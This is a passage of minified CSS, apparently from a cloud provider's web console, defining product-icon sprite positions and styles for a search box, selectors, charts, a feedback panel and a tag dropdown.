!important}.product-icons-64.product-icons-man{background-position:-704px -704px !important}.product-icons-32.product-icons-mns-grey{background-position:-128px -1024px !important}.product-icons-32.product-icons-mns{background-position:-96px -1024px !important}.product-icons-48.product-icons-mns-grey{background-position:-976px -432px !important}.product-icons-48.product-icons-mns{background-position:-976px -480px !important}.product-icons-64.product-icons-mns-grey{background-position:-768px -128px !important}.product-icons-64.product-icons-mns{background-position:-768px -192px !important}.product-icons-32.product-icons-mongodb-grey{background-position:-64px -1024px !important}.product-icons-32.product-icons-mongodb{background-position:-32px -1024px !important}.product-icons-48.product-icons-mongodb-grey{background-position:-976px -720px !important}.product-icons-48.product-icons-mongodb{background-position:-976px -768px !important}.product-icons-64.product-icons-mongodb-grey{background-position:-768px -256px !important}.product-icons-64.product-icons-mongodb{background-position:-768px -320px !important}.product-icons-32.product-icons-mqs-grey{background-position:-1024px -960px !important}.product-icons-32.product-icons-mqs{background-position:-1024px -928px !important}.product-icons-48.product-icons-mqs-grey{background-position:-48px -976px !important}.product-icons-48.product-icons-mqs{background-position:-96px -976px !important}.product-icons-64.product-icons-mqs-grey{background-position:-768px -512px !important}.product-icons-64.product-icons-mqs{background-position:-768px -576px !important}.product-icons-32.product-icons-mss-grey{background-position:-1024px -896px !important}.product-icons-32.product-icons-mss{background-position:-1024px -864px !important}.product-icons-48.product-icons-mss-grey{background-position:-336px -976px !important}.product-icons-48.product-icons-mss{background-position:-384px -976px !important}.product-icons-64.product-icons-mss-grey{background-position:-768px -640px !important}.product-icons-64.product-icons-mss{background-position:-768px -704px !important}.product-icons-32.product-icons-mts-grey{background-position:-1024px -768px !important}.product-icons-32.product-icons-mts{background-position:-1024px -736px !important}.product-icons-48.product-icons-mts-grey{background-position:-624px -976px !important}.product-icons-48.product-icons-mts{background-position:-672px -976px !important}.product-icons-64.product-icons-mts-grey{background-position:-128px -768px !important}.product-icons-64.product-icons-mts{background-position:-192px -768px !important}.product-icons-32.product-icons-nas-grey{background-position:-1024px -704px !important}.product-icons-32.product-icons-nas{background-position:-1024px -672px !important}.product-icons-48.product-icons-nas-grey{background-position:-912px -976px !important}.product-icons-48.product-icons-nas{background-position:-960px -976px !important}.product-icons-64.product-icons-nas-grey{background-position:-256px -768px !important}.product-icons-64.product-icons-nas{background-position:-320px -768px !important}.product-icons-32.product-icons-oas-grey{background-position:-1024px -576px !important}.product-icons-32.product-icons-oas{background-position:-1024px -544px !important}.product-icons-48.product-icons-oas-grey{background-position:-1024px -192px !important}.product-icons-48.product-icons-oas{background-position:-1024px -240px !important}.product-icons-64.product-icons-oas-grey{background-position:-512px -768px !important}.product-icons-64.product-icons-oas{background-position:-576px -768px !important}.product-icons-32.product-icons-oceanbase-grey{background-position:0px -1056px !important}.product-icons-32.product-icons-oceanbase{background-position:-1024px -512px !important}.product-icons-48.product-icons-oceanbase-grey{background-position:-1024px -432px !important}.product-icons-48.product-icons-oceanbase{background-position:-1024px -384px !important}.product-icons-64.product-icons-oceanbase-grey{background-position:-448px -768px !important}.product-icons-64.product-icons-oceanbase{background-position:-384px -768px !important}.product-icons-32.product-icons-ocs-grey{background-position:-1024px -608px !important}.product-icons-32.product-icons-ocs{background-position:-1024px -640px !important}.product-icons-48.product-icons-ocs-grey{background-position:-864px -976px !important}.product-icons-48.product-icons-ocs{background-position:-816px -976px !important}.product-icons-64.product-icons-ocs-grey{background-position:-64px -768px !important}.product-icons-64.product-icons-ocs{background-position:0px -768px !important}.product-icons-32.product-icons-odps-grey{background-position:-1024px -800px !important}.product-icons-32.product-icons-odps{background-position:-1024px -832px !important}.product-icons-48.product-icons-odps-grey{background-position:-288px -976px !important}.product-icons-48.product-icons-odps{background-position:-240px -976px !important}.product-icons-64.product-icons-odps-grey{background-position:-768px -448px !important}.product-icons-64.product-icons-odps{background-position:-768px -384px !important}.product-icons-32.product-icons-ons-grey{background-position:-1024px -992px !important}.product-icons-32.product-icons-ons{background-position:0px -1024px !important}.product-icons-48.product-icons-ons-grey{background-position:-976px -672px !important}.product-icons-48.product-icons-ons{background-position:-976px -624px !important}.product-icons-64.product-icons-ons-grey{background-position:-768px -64px !important}.product-icons-64.product-icons-ons{background-position:-768px 0px !important}.product-icons-32.product-icons-opensearch-grey{background-position:-160px -1024px !important}.product-icons-32.product-icons-opensearch{background-position:-192px -1024px !important}.product-icons-48.product-icons-opensearch-grey{background-position:-976px -96px !important}.product-icons-48.product-icons-opensearch{background-position:-976px -48px !important}.product-icons-64.product-icons-opensearch-grey{background-position:-448px -704px !important}.product-icons-64.product-icons-opensearch{background-position:-384px -704px !important}.product-icons-32.product-icons-oss-grey{background-position:-352px -1024px !important}.product-icons-32.product-icons-oss{background-position:-384px -1024px !important}.product-icons-48.product-icons-oss-grey{background-position:-480px -928px !important}.product-icons-48.product-icons-oss{background-position:-432px -928px !important}.product-icons-64.product-icons-oss-grey{background-position:-64px -704px !important}.product-icons-64.product-icons-oss{background-position:0px -704px !important}.product-icons-32.product-icons-ots-grey{background-position:-544px -1024px !important}.product-icons-32.product-icons-ots{background-position:-576px -1024px !important}.product-icons-48.product-icons-ots-grey{background-position:-928px -816px !important}.product-icons-48.product-icons-ots{background-position:-928px -768px !important}.product-icons-64.product-icons-ots-grey{background-position:-704px -384px !important}.product-icons-64.product-icons-ots{background-position:-704px -320px !important}.product-icons-32.product-icons-petadata-grey{background-position:-736px -1024px !important}.product-icons-32.product-icons-petadata{background-position:-768px -1024px !important}.product-icons-48.product-icons-petadata-grey{background-position:-928px -336px !important}.product-icons-48.product-icons-petadata{background-position:-928px -240px !important}.product-icons-64.product-icons-petadata-grey{background-position:-704px -128px !important}.product-icons-64.product-icons-petadata{background-position:-640px -640px !important}.product-icons-32.product-icons-pts-grey{background-position:-928px -1024px !important}.product-icons-32.product-icons-pts{background-position:-960px -1024px !important}.product-icons-48.product-icons-pts-grey{background-position:-816px -880px !important}.product-icons-48.product-icons-pts{background-position:-576px -880px !important}.product-icons-64.product-icons-pts-grey{background-position:-448px -640px !important}.product-icons-64.product-icons-pts{background-position:-256px -640px !important}.product-icons-32.product-icons-ram-grey{background-position:-1072px -64px !important}.product-icons-32.product-icons-ram{background-position:-1072px -96px !important}.product-icons-48.product-icons-ram-grey{background-position:-240px -880px !important}.product-icons-48.product-icons-ram{background-position:0px -880px !important}.product-icons-64.product-icons-ram-grey{background-position:-64px -640px !important}.product-icons-64.product-icons-ram{background-position:-640px -512px !important}.product-icons-32.product-icons-rds-grey{background-position:-1072px -256px !important}.product-icons-32.product-icons-rds{background-position:-1072px -288px !important}.product-icons-48.product-icons-rds-grey{background-position:-880px -528px !important}.product-icons-48.product-icons-rds{background-position:-880px -288px !important}.product-icons-64.product-icons-rds-grey{background-position:-640px -320px !important}.product-icons-64.product-icons-rds{background-position:-640px -128px !important}.product-icons-32.product-icons-ros-grey{background-position:-1072px -448px !important}.product-icons-32.product-icons-ros{background-position:-1072px -480px !important}.product-icons-48.product-icons-ros-grey{background-position:-816px -832px !important}.product-icons-48.product-icons-ros{background-position:-576px -832px !important}.product-icons-64.product-icons-ros-grey{background-position:-576px -576px !important}.product-icons-64.product-icons-ros{background-position:-384px -576px !important}.product-icons-32.product-icons-sas-grey{background-position:-1072px -640px !important}.product-icons-32.product-icons-sas{background-position:-1072px -672px !important}.product-icons-48.product-icons-sas-grey{background-position:-240px -832px !important}.product-icons-48.product-icons-sas{background-position:0px -832px !important}.product-icons-64.product-icons-sas-grey{background-position:-192px -576px !important}.product-icons-64.product-icons-sas{background-position:0px -576px !important}.product-icons-32.product-icons-scan-grey{background-position:-1072px -832px !important}.product-icons-32.product-icons-scan{background-position:-1072px -864px !important}.product-icons-48.product-icons-scan-grey{background-position:-832px -480px !important}.product-icons-48.product-icons-scan{background-position:-832px -240px !important}.product-icons-64.product-icons-scan-grey{background-position:-576px -384px !important}.product-icons-64.product-icons-scan{background-position:-576px -192px !important}.product-icons-32.product-icons-slb-grey{background-position:-1072px -1024px !important}.product-icons-32.product-icons-slb{background-position:-1024px -480px !important}.product-icons-48.product-icons-slb-grey{background-position:-736px -768px !important}.product-icons-48.product-icons-slb{background-position:-1024px -144px !important}.product-icons-64.product-icons-slb-grey{background-position:-576px 0px !important}.product-icons-64.product-icons-slb{background-position:-384px -512px !important}.product-icons-32.product-icons-slm-grey{background-position:-160px -1056px !important}.product-icons-32.product-icons-slm{background-position:-192px -1056px !important}.product-icons-48.product-icons-slm-grey{background-position:-528px -976px !important}.product-icons-48.product-icons-slm{background-position:0px -976px !important}.product-icons-64.product-icons-slm-grey{background-position:-192px -512px !important}.product-icons-64.product-icons-slm{background-position:0px -512px !important}.product-icons-32.product-icons-sls-grey{background-position:-352px -1056px !important}.product-icons-32.product-icons-sls{background-position:-384px -1056px !important}.product-icons-48.product-icons-sls-grey{background-position:-976px -336px !important}.product-icons-48.product-icons-sls{background-position:-768px -928px !important}.product-icons-64.product-icons-sls-grey{background-position:-512px -320px !important}.product-icons-64.product-icons-sls{background-position:-512px -128px !important}.product-icons-32.product-icons-sos-grey{background-position:-544px -1056px !important}.product-icons-32.product-icons-sos{background-position:-576px -1056px !important}.product-icons-48.product-icons-sos-grey{background-position:-144px -928px !important}.product-icons-48.product-icons-sos{background-position:-928px -528px !important}.product-icons-64.product-icons-sos-grey{background-position:-448px -448px !important}.product-icons-64.product-icons-sos{background-position:-256px -448px !important}.product-icons-32.product-icons-toolsimage-grey{background-position:-736px -1056px !important}.product-icons-32.product-icons-toolsimage{background-position:-768px -1056px !important}.product-icons-48.product-icons-toolsimage-grey{background-position:-864px -880px !important}.product-icons-48.product-icons-toolsimage{background-position:-432px -880px !important}.product-icons-64.product-icons-toolsimage-grey{background-position:-64px -448px !important}.product-icons-64.product-icons-toolsimage{background-position:-448px -320px !important}.product-icons-32.product-icons-vipaegis-grey{background-position:-928px -1056px !important}.product-icons-32.product-icons-vipaegis{background-position:-960px -1056px !important}.product-icons-48.product-icons-vipaegis-grey{background-position:-880px -576px !important}.product-icons-48.product-icons-vipaegis{background-position:-880px -144px !important}.product-icons-64.product-icons-vipaegis-grey{background-position:-448px -128px !important}.product-icons-64.product-icons-vipaegis{background-position:-384px -384px !important}.product-icons-32.product-icons-visualstudio-grey{background-position:-1104px -32px !important}.product-icons-32.product-icons-visualstudio{background-position:-1104px -64px !important}.product-icons-48.product-icons-visualstudio-grey{background-position:-288px -832px !important}.product-icons-48.product-icons-visualstudio{background-position:-832px -672px !important}.product-icons-64.product-icons-visualstudio-grey{background-position:-192px -384px !important}.product-icons-64.product-icons-visualstudio{background-position:0px -384px !important}.product-icons-32.product-icons-vod-grey{background-position:-1104px -224px !important}.product-icons-32.product-icons-vod{background-position:-1104px -256px !important}.product-icons-48.product-icons-vod-grey{background-position:-784px -768px !important}.product-icons-48.product-icons-vod{background-position:-1024px 0px !important}.product-icons-64.product-icons-vod-grey{background-position:-384px -192px !important}.product-icons-64.product-icons-vod{background-position:-384px 0px !important}.product-icons-32.product-icons-vpc-grey{background-position:-1104px -416px !important}.product-icons-32.product-icons-vpc{background-position:-1104px -448px !important}.product-icons-48.product-icons-vpc-grey{background-position:-976px -384px !important}.product-icons-48.product-icons-vpc{background-position:-624px -928px !important}.product-icons-64.product-icons-vpc-grey{background-position:-192px -320px !important}.product-icons-64.product-icons-vpc{background-position:0px -320px !important}.product-icons-32.product-icons-waf-grey{background-position:-1104px -608px !important}.product-icons-32.product-icons-waf{background-position:-1104px -640px !important}.product-icons-48.product-icons-waf-grey{background-position:-928px -96px !important}.product-icons-48.product-icons-waf{background-position:-144px -880px !important}.product-icons-64.product-icons-waf-grey{background-position:-320px -128px !important}.product-icons-64.product-icons-waf{background-position:-256px -256px !important}.product-icons-32.product-icons-xianzhi-grey{background-position:-1104px -800px !important}.product-icons-32.product-icons-xianzhi{background-position:-1104px -832px !important}.product-icons-48.product-icons-xianzhi-grey{background-position:-432px -832px !important}.product-icons-48.product-icons-xianzhi{background-position:-832px -384px !important}.product-icons-64.product-icons-xianzhi-grey{background-position:-64px -256px !important}.product-icons-64.product-icons-xianzhi{background-position:-256px -128px !important}.product-icons-32.product-icons-ysf-grey{background-position:-1104px -992px !important}.product-icons-32.product-icons-ysf{background-position:-1104px -1024px !important}.product-icons-48.product-icons-ysf-grey{background-position:-976px -816px !important}.product-icons-48.product-icons-ysf{background-position:-48px -928px !important}.product-icons-64.product-icons-ysf-grey{background-position:-192px -192px !important}.product-icons-64.product-icons-ysf{background-position:0px -192px !important}.product-icons-32.product-icons-yundun-grey{background-position:-96px -1088px !important}.product-icons-32.product-icons-yundun{background-position:-128px -1088px !important}.product-icons-48.product-icons-yundun-grey{background-position:-720px -832px !important}.product-icons-48.product-icons-yundun{background-position:-640px -768px !important}.product-icons-64.product-icons-yundun-grey{background-position:-192px 0px !important}.product-icons-64.product-icons-yundun{background-position:0px -128px !important}.product-icons-32.product-icons-yunjiankong-grey{background-position:-288px -1088px !important}.product-icons-32.product-icons-yunjiankong{background-position:-320px -1088px !important}.product-icons-48.product-icons-yunjiankong-grey{background-position:-880px -432px !important}.product-icons-48.product-icons-yunjiankong{background-position:-976px -240px !important}.product-icons-64.product-icons-yunjiankong-grey{background-position:-64px -64px !important}.product-icons-64.product-icons-yunjiankong{background-position:-64px 0px !important}.console-search{box-sizing:border-box;float:left;margin-right:1px;position:relative;z-index:11}.console-search *{box-sizing:border-box}.console-search .console-search-ask{position:relative}.console-search .console-search-ask .console-search-ask-input{width:200px;height:40px;background:#2a2e31;border:0;padding:12px 30px 12px 10px;display:inline-block;color:#999;-webkit-border-radius:1px 1px;-moz-border-radius:1px / 1px;border-radius:1px / 1px;-o-transition:all 0.3s, 0.3s;-ms-transition:all 0.3s, 0.3s;-moz-transition:all 0.3s, 0.3s;-webkit-transition:all 0.3s, 0.3s}.console-search .console-search-ask .console-search-ask-input:focus{outline:none}.console-search .console-search-ask .console-search-mark{font-size:16px;line-height:30px;position:absolute;height:100%;width:40px;color:#eee;padding:5px;text-decoration:none;display:block}.console-search .console-search-ask .console-search-questionmark{right:0;top:0}.console-search .console-search-ask-active .console-search-ask-input{width:320px;height:40px;background:#f2f2f2;border:0;color:#000}.console-search .console-search-ask-active .console-search-questionmark{color:#0099cc}.console-search .console-search-answer{width:402px;margin-top:2px;left:-1px;border:1px solid #d4d4d4;border-top:none;background:#fff;position:absolute;-webkit-border-radius:2px 2px;-moz-border-radius:2px / 2px;border-radius:2px / 2px;text-shadow:1px}.console-search .console-search-answer .console-search-answer-head{background:#f8f8f8;border-bottom:1px solid #eee;height:42px}.console-search .console-search-answer .console-search-answer-head ul{list-style:none;margin:0;padding:0 24px}.console-search .console-search-answer .console-search-answer-head ul li{float:left;margin-right:14px;height:42px;line-height:42px}.console-search .console-search-answer .console-search-answer-head ul li a{display:block;width:100%;height:100%;color:#666;text-decoration:none}.console-search .console-search-answer .console-search-answer-head ul li a:hover{color:#ff6500;border-bottom:2px solid #ff6500}.console-search .console-search-answer .console-search-answer-head ul li.console-search-tab-active a{color:#ff6500;border-bottom:2px solid #ff6500}.console-search .console-search-answer .console-search-answer-body{padding:0 24px}.console-search .console-search-answer .console-search-answer-body .console-search-answer-list .console-search-answer-item{height:40px;line-height:40px;border-bottom:1px solid #eee}.console-search .console-search-answer .console-search-answer-body .console-search-answer-list .console-search-answer-item a{color:#00a2ca}.console-search .console-search-answer .console-search-answer-body .console-search-answer-more{height:40px;line-height:40px;text-align:right}.console-search .console-search-answer .console-search-answer-body .console-search-answer-more a{color:#00a2ca}.selector{width:100%;height:140px;border:1px solid #999;background-color:#FFF;overflow-x:hidden;overflow-y:auto}.selector .selector-list{list-style:none;margin:0px;padding:0px}.selector .selector-list .selector-item{height:32px;line-height:32px;overflow:hidden;border-bottom:1px solid #DDD;text-overflow:ellipsis;white-space:nowrap;text-indent:8px}.selector .selector-list .selector-item:hover{color:#06C;background-color:#FAFCFF;cursor:pointer}.selector .selector-list .selector-item.active{background-color:#37C;color:#FFF}.selector .selector-list .selector-item.disabled{color:#AAA;cursor:not-allowed;background-color:#FAFAFA}.selector .selector-msg{text-align:center;color:#999;height:32px;line-height:32px}.selector.selector-status-error .selector-msg{cursor:pointer}.selector.selector-status-hasmore .selector-msg{cursor:pointer}.list-selector .selector-box{width:45%;float:left}.list-selector .selector-box .inner-wrap{border:1px solid #bbb;height:200px;overflow:hidden}.list-selector .selector-box .inner-wrap .inner-head{border:1px solid #eee;margin:6px;position:relative}.list-selector .selector-box .inner-wrap .inner-head input{border:0;width:90%}.list-selector .selector-box .inner-wrap .inner-head input:focus{outline:0}.list-selector .selector-box .inner-wrap .inner-head .search{width:20px;height:20px;line-height:20px;padding:0 6px;cursor:pointer;position:absolute;right:0;top:0}.list-selector .selector-box .inner-wrap .inner-body{height:160px;overflow-y:auto;overflow-x:hidden;border:0}.list-selector .selector-box .inner-wrap .inner-body2{height:200px;overflow-y:auto;overflow-x:hidden;border:0}.list-selector .selector-mid{width:10%;text-align:center;float:left}.list-selector .selector-mid .mid-box{margin:10px auto;height:40px;width:40px;font-weight:bold;border:1px solid #bbb;background:#f7f7f7;display:block;cursor:pointer}.list-selector .selector-mid .mid-margin{margin-top:80px;margin-bottom:10px}.aliyun-console-table-search-list{min-width:100px}.console-global-notice{position:relative;margin-top:-1px;z-index:1}.console-global-notice .console-global-notice-nav{position:absolute;top:13px;left:25px;z-index:2}.console-global-notice .console-global-notice-nav span{width:12px;height:12px;display:block;float:left;background:#e8e8e8;border-radius:12px;margin-right:3px;cursor:pointer}.console-global-notice .console-global-notice-nav span.active{background:#999999}.console-global-notice .console-global-notice-list{height:50px;position:relative}.console-global-notice .console-global-notice-list .console-global-notice-item{position:absolute;width:100%;top:0;left:0;z-index:1;padding:10px 12px;border-radius:2px;margin-bottom:0px;text-align:left}.console-global-notice .console-global-notice-list .console-global-notice-item .console-global-notice-nomore{position:absolute;top:8px;right:12px}.console-global-notice .console-global-notice-list .console-global-notice-item .console-global-notice-content{padding-right:80px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis}.console-clip-copy{background:rgba(0,0,0,0.75);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#bf000000,endColorstr=#bf000000);position:absolute;color:#fff;line-height:24px;height:24px;overflow:hidden;padding:0px 12px 0px 30px}.console-clip-copy .rectangle1,.console-clip-copy .rectangle2{position:absolute;top:8px;left:13px;border:1px solid #fff;width:10px;height:12px;background:#404040;z-index:2}.console-clip-copy .rectangle2{left:15px;z-index:1;top:5px}.console-clip-copyed{padding-left:12px}.console-clip-copyed .rectangle1,.console-clip-copyed .rectangle2{display:none}.console-aside-wrap{position:fixed;z-index:105}.console-aside-wrap .console-aside{position:absolute;display:none}.console-aside-wrap .console-aside.console-aside-transform{-o-transition:all 0.3s, 0.3s;-ms-transition:all 0.3s, 0.3s;-moz-transition:all 0.3s, 0.3s;-webkit-transition:all 0.3s, 0.3s}.console-aside-wrap.top{top:0;width:100%}.console-aside-wrap.top .console-aside{top:0;width:100%}.console-aside-wrap.right{right:0;height:100%;top:0}.console-aside-wrap.right .console-aside{right:0;height:100%}.console-aside-wrap.left{left:0;height:100%;top:0}.console-aside-wrap.left .console-aside{left:0;height:100%}.console-aside-wrap.bottom{bottom:0;width:100%}.console-aside-wrap.bottom .console-aside{bottom:0;width:100%}.table-default-viewer{width:100%;background-color:#FFF}.table-default-viewer td{padding:11px 20px;border:1px solid #eeeeee}.table-default-viewer.off{display:none}.table-viewer-topbar-content{padding:0px;margin:0px;margin-right:8px}.table-viewer-header{margin-top:10px;margin-bottom:-1px;height:40px;background:#F5f6FA;line-height:38px;border:1px solid #e1e6eb;position:relative;border-left:4px solid #6d7781}.table-viewer-header .table-viewer-topbar-title{font-size:14px;color:#333333;display:inline-block;margin-left:16px}.table-viewer-header .table-viewer-topbar-content{margin-right:60px}.table-viewer-header .toggle-drop-down-icon{-webkit-user-select:none;-moz-user-select:none;user-select:none;-o-user-select:none;-ms-user-select:none;position:absolute;width:40px;height:39px;right:0;top:0;border-left:1px solid #e1e6eb}.table-viewer-header .table-viewer-dropdown{display:inline-block;margin:10px;font-size:20px}.simple-chart{height:100%;border:1px solid #ccd6e0;position:relative;-webkit-box-shadow:0px 0px 3px rgba(0,0,0,0.1);-moz-box-shadow:0px 0px 3px rgba(0,0,0,0.1);box-shadow:0px 0px 3px rgba(0,0,0,0.1)}.simple-chart .simple-chart-head{height:40px;line-height:40px;font-size:14px;padding-left:10px;background:#f8f9fb}.simple-chart .simple-chart-head-title{float:left}.simple-chart .simple-chart-operations{float:right}.simple-chart .simple-chart-operations .simple-chart-btn{display:inline-block;border-left:1px solid #e1e6eb;width:40px;text-align:center;cursor:pointer}.simple-chart .simple-chart-operations .simple-chart-btn span{font-size:14px;font-weight:bold;vertical-align:text-bottom}.simple-chart .simple-chart-body{border-top:1px solid #ccd6e0;padding:0px 2px 2px 0px}.simple-chart .simple-chart-body .highcharts-container{float:left}.simple-chart .simple-chart-body-inner{height:100%}.simple-chart .simple-chart-annulus-center{position:absolute;text-align:center}.simple-chart .simple-chart-annulus-center .simple-chart-annulus-number{color:#0099cc;font-size:32px}.simple-chart.simple-chart-nowrap{border:none;-webkit-box-shadow:0px 0px 0px;-moz-box-shadow:0px 0px 0px;box-shadow:0px 0px 0px}.simple-chart.simple-chart-nowrap .simple-chart-head{display:none}.simple-chart.simple-chart-nowrap .simple-chart-body{border:none;height:100% !important}.console-middle-page{margin-top:80px}.console-middle-page .console-middle-page-icon{text-align:right}.console-middle-page .console-middle-page-title{font-size:20px;margin:0;line-height:48px}.console-middle-page .console-middle-page-text{font-size:12px;color:#666}.console-middle-page .console-middle-page-link{border-top:1px solid #EEE;margin-top:16px;padding-top:16px}.console-middle-page .console-middle-page-link>a{padding-right:14px}.console-rank-select{height:32px;padding:8px 0px;overflow:hidden}.console-rank-select .rank-item{width:20px;height:16px;line-height:16px;overflow:hidden;display:block;float:left;font-size:16px;color:#CCC;cursor:pointer;zoom:1}.console-rank-select .rank-active{color:#09C}.console-rank-select .rank-hover{color:#3CF}.simple-loading{position:relative}.simple-loading .simple-loading-inner{margin-left:auto;margin-right:auto}.simple-loading-1:before,.simple-loading-1:after,.simple-loading-1{border-radius:50%;width:14px;height:14px;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation:simple-loading-1 1.8s infinite ease-in-out;animation:simple-loading-1 1.8s infinite ease-in-out}.simple-loading-1{font-size:10px;position:relative;text-indent:-9999em;-webkit-animation-delay:0.16s;animation-delay:0.16s}.simple-loading-1:before{left:-30px}.simple-loading-1:after{left:30px;-webkit-animation-delay:0.32s;animation-delay:0.32s}.simple-loading-1:before,.simple-loading-1:after{content:'';position:absolute;top:0}@-webkit-keyframes simple-loading-1{0%,80%,100%{box-shadow:0 2.5em 0 -1.3em #ddd}40%{box-shadow:0 2.5em 0 0 #ddd}}@keyframes simple-loading-1{0%,80%,100%{box-shadow:0 2.5em 0 -1.3em #ddd}40%{box-shadow:0 2.5em 0 0 #ddd}}.feedback-container{position:fixed;right:0px;bottom:100px;font-family:微软雅黑, 'Microsoft Yahei', 'Hiragino Sans GB', tahoma, arial, 宋体;font-size:12px;font-stretch:normal;font-style:normal;font-variant:normal;font-weight:normal;z-index:100}.feedback-container:hover .feedback-trigger .feedback-trigger-text,.feedback-container.active .feedback-trigger .feedback-trigger-text{width:56px;padding:0 0px 0 4px}.feedback-container h1,.feedback-container h2,.feedback-container textarea,.feedback-container input{margin:0;padding:0;border:0}.feedback-container .feedback{position:absolute;width:396px;background:rgba(0,162,202,0.5);padding:3px;right:81px;bottom:0}.feedback-container .feedback .feedback-panel{width:390px;background:#fff;padding:20px}.feedback-container .feedback .feedback-title{border-bottom:1px solid #eee;padding-bottom:8px;margin-bottom:15px}.feedback-container .feedback .feedback-title h1{color:#000;font-size:16px;display:inline-block}.feedback-container .feedback .feedback-title h1 i{cursor:pointer;margin-top:6px;float:right}.feedback-container .feedback .feedback-content{position:relative;margin-bottom:15px}.feedback-container .feedback .feedback-content h2{font-size:14px;margin-bottom:5px}.feedback-container .feedback .feedback-content .must{position:absolute;left:-10px;top:3px;color:red}.feedback-container .feedback textarea,.feedback-container .feedback input{font:12px/1.5 \"\\5FAE\\8F6F\\96C5\\9ED1\",\"Microsoft Yahei\",\"Hiragino Sans GB\",tahoma,arial,\"\\5B8B\\4F53\"}.feedback-container .feedback .feedback-content textarea{resize:none;height:106px;width:100%;padding:9px 10px;margin:6px 1px 1px 0;border:solid 1px #e8e8e8;border-radius:4px;line-height:16px;color:#333;font-size:12px;outline:0}.feedback-container .feedback .feedback-content .feedback-content-count{color:#666;margin-top:5px}.feedback-container .feedback .feedback-contact{margin-bottom:25px;position:relative}.feedback-container .feedback .feedback-contact h2{font-size:14px;margin-bottom:5px}.feedback-container .feedback .feedback-contact input{height:36px;margin-bottom:20px;resize:none;width:100%;padding:9px 10px;margin:6px 1px 1px 0;border:solid 1px #e8e8e8;line-height:16px;color:#333;font-size:12px;outline:0;background:#fff;border-radius:4px;text-decoration:none;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;user-select:none}.feedback-container .feedback .feedback-contact input:focus{background:#e9fbfe;border:solid 1px #e8e8e8}.feedback-container .feedback .feedback-contact .inputError{position:absolute;bottom:-22px;left:2px;color:red}.feedback-container .feedback .submit-btn{padding:0;height:24px;line-height:24px;font-size:12px;display:inline-block;min-width:78px;background:#00a2ca;color:#fff;text-align:center;outline:none;border-radius:0;text-decoration:none;cursor:pointer}.feedback-container .feedback .submit-btn:hover{background:#33b5d4;border-color:#33b5d4;text-decoration:none}.feedback-container .feedback .feedback-footer{text-align:center;padding:5px 0}.feedback-container .feedback .submit-btn.disabled{background:#efefef;border-color:#efefef;color:#ccc;cursor:default}.feedback .thanks{font-size:16px;margin-left:15px;color:#000;position:relative;top:-9px}.feedback .feedback-close{display:inline-block;float:right;cursor:pointer;font-size:18px}.feedback .feedback-check{font-size:30px;color:#65ce00}.feedback-container .feedback-trigger{display:inline-block;background-color:#3d5061;font-size:12px;color:#fff;border-radius:4px;cursor:pointer;padding:4px 4px 1px 1px}.feedback-container .feedback-trigger .feedback-trigger-text{padding:0;display:inline-block;height:16px;overflow:hidden;width:0;-moz-transition:all 0.3s ease-in;-webkit-transition:all 0.3s ease-in;-o-transition:all 0.3s ease-in;transition:all 0.3s ease-in}.feedback-container .feedback-trigger .feedback-trigger-icon{padding:0;display:inline-block;font-size:15px}.console-guide-dialog .modal-dialog{width:840px}.console-guide-dialog .modal-body{margin-bottom:15px}.console-guide-dialog .carousel-control{display:none}.console-guide-dialog .carousel-indicators{bottom:-40px !important}.console-guide-dialog .carousel-indicators li{background:#e8e8e8;width:16px;height:16px;border-radius:12px;margin:0 0 0 2px}.console-guide-dialog .carousel-indicators li.active{background:#09c;width:16px;height:16px;border-radius:12px;margin:0 0 0 2px}.console-guide-dialog .console-guide-dialog-link{position:absolute;z-index:100;bottom:20px;right:20px}.console-tag-select{position:absolute;width:320px}.console-tag-select ul{list-style:none;box-shadow:none !important;display:block;margin:0;padding:0}.console-tag-select .console-tag-dropdown{position:absolute;top:100%;left:0;z-index:1000;margin-top:2px;width:326px}.console-tag-select .console-tag-dropdown .dropdown-menu{position:static;border:1px solid #e1e6eb;width:160px}.console-tag-select .console-tag-dropdown .dropdown-menu .console-tag-key-item-block{padding:7px 16px;display:block}.console-tag-select .console-tag-dropdown .dropdown-menu .console-tag-key-item-empty{color:#999;font-style:italic}.console-tag-select .console-tag-dropdown .dropdown-menu .console-tag-key-item-title .console-tag-key-item-block{background:#F5F6FA;border-bottom:1px solid #eee}.console-tag-select .console-tag-dropdown .dropdown-menu li a{border-bottom:1px solid #eee;white-space:pre-line;position:relative}.console-tag-select .console-tag-dropdown .dropdown-menu li a:hover,.console-tag-select .console-tag-dropdown .dropdown-menu li a:focus{background-color:#F9F9FA}.console-tag-select .console-tag-dropdown .dropdown-menu li:last-child a{border-bottom:none}.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-active a,.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-active a:hover,.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-active a:focus{text-decoration:none;outline:0;-webkit-transition:backgroud 0.2s ease, 0.2s ease}.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-active a .console-tag-selected-icon,.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-active a:hover .console-tag-selected-icon,.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-active a:focus .console-tag-selected-icon{display:block}.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-key-active{border-left:2px solid #09c;margin-left:-1px}.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-key-active a,.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-key-active a:hover,.console-tag-select .console-tag-dropdown .dropdown-menu li.tag-key-active a:focus{padding-left:15px}.console-tag-select .console-tag-dropdown .dropdown-menu .console-tag-value-item a.tag-active,.console-tag-select .console-tag-dropdown .dropdown-menu .console-tag-value-item a.tag-active:hover,.console-tag-select .console-tag-dropdown .dropdown-menu .console-tag-value-item a.tag-active:focus{background-color:#F9F9FA}.console-tag-select .console-tag-dropdown .console-tag-value-dropdown{margin-left:-1px}.console-tag-select .console-tag-pagepick{padding:0 5px}.console-tag-select .console-tag-pagepick a{display:inline-block !important;border-bottom:none !important;-webkit-user-select:none}.console-tag-select .console-tag-selected-icon{display:none;float:right;font-size:14px;position:absolute;right:8px;top:8px}.console-tag-select .console-tag-label-wrap{padding-left:2px}.console-tag-select .console-tag-label{padding:5px 20px 5px 5px;background:#f1f1f1;position:relative;margin-left:2px}.console-tag-select .console-tag-label .console-tag-label-remove{position:absolute;top:0;right:0;width:20px;height:27px;line-height:27px;text-align:center;cursor:pointer}.console-tag-select-view 